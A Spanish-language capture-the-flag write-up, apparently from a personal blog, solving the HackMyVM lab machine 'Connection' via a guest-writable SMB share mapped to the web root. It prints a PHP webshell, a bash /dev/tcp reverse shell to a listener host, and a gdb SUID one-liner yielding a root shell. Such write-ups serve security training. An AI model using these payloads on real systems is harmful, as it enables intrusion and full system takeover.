cd ~/blog

~/writeups/hmv/003-connection.md

003 - Connection

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Writable SMB Share con acceso guest asociado a la raíz webUnrestricted File Upload mediante SMB con ejecución de una webshell PHPSUID Binary Abuse mediante gdb
hackmyvm.eu/machines/machine.php?vm=Connection

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y luego uno específico de puertos:

nmap -sC -sV -p22,80,139,445 -oN 02-targeted 192.168.1.26
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 20:02 -03
Nmap scan report for 192.168.1.26
Host is up (0.00044s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_  256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open             Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:80:FC:21 (Oracle VirtualBox virtual NIC)
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time:
|   date: 2023-10-16T23:02:27
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2023-10-16T19:02:27-04:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds

Enumeración SMB

La enumeración web con dirb y gobuster no aporta nada relevante, y el sitio solo muestra la página por defecto de Apache. El vector interesante es SMB (Samba), con varias configuraciones inseguras. Comprobamos los recursos compartidos con smbmap:

smbmap -H 192.168.1.26

[+] IP: 192.168.1.26:445        Name: 192.168.1.26              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        share                                                   READ ONLY
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Private Share for uploading files)

Existe un recurso share, al que nos conectamos usando guest como contraseña:

smbclient //192.168.1.26/share

Dentro están los archivos del sitio web. El recurso permite una variante de Unrestricted File Upload porque podemos escribir una webshell directamente en el árbol publicado. Primero comprobamos el permiso con un archivo inofensivo:

put test.txt

La subida tiene éxito aunque smbmap hubiera estimado READ ONLY. La operación real es la evidencia autoritativa. Como los archivos coinciden con el contenido de Apache, cualquier PHP colocado aquí queda accesible desde HTTP.

Acceso inicial mediante una webshell

Como el recurso mapea el directorio web, subimos un script PHP que ejecuta comandos:

<?php
    system($_GET["cmd"]);
?>

Lo invocamos a través del navegador para confirmar la ejecución:

http://192.168.1.26/road_to_reverse.php?cmd=whoami

whoami es una prueba controlada de RCE. Sólo después de confirmar que Apache interpreta el archivo y que cmd llega a system() sustituimos la orden por una reverse shell.

Ponemos un listener y lanzamos la reverse shell:

sudo nc -nvlp 1234
http://192.168.1.26/road_to_reverse.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"

Una vez establecida la conexión, navegamos a home/connection y obtenemos la primera flag.

Escalada de privilegios

Para escalar privilegios, sudo -l no ofrece ninguna vía, así que buscamos binarios SUID:

find / -perm -4000 2>/dev/null

Consultando GTFOBins, el binario gdb permite realizar SUID Binary Abuse para obtener una shell de root preservando privilegios.

GDB permite ejecutar Python embebido. os.execl() reemplaza el depurador por /bin/sh, y -p evita que la shell descarte el UID efectivo heredado del binario SUID.

El comando utilizado es:

./usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Las notas registran que el comando produjo acceso como root y permitió recuperar la flag final, aunque no conservaron la salida de identidad de esa shell.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados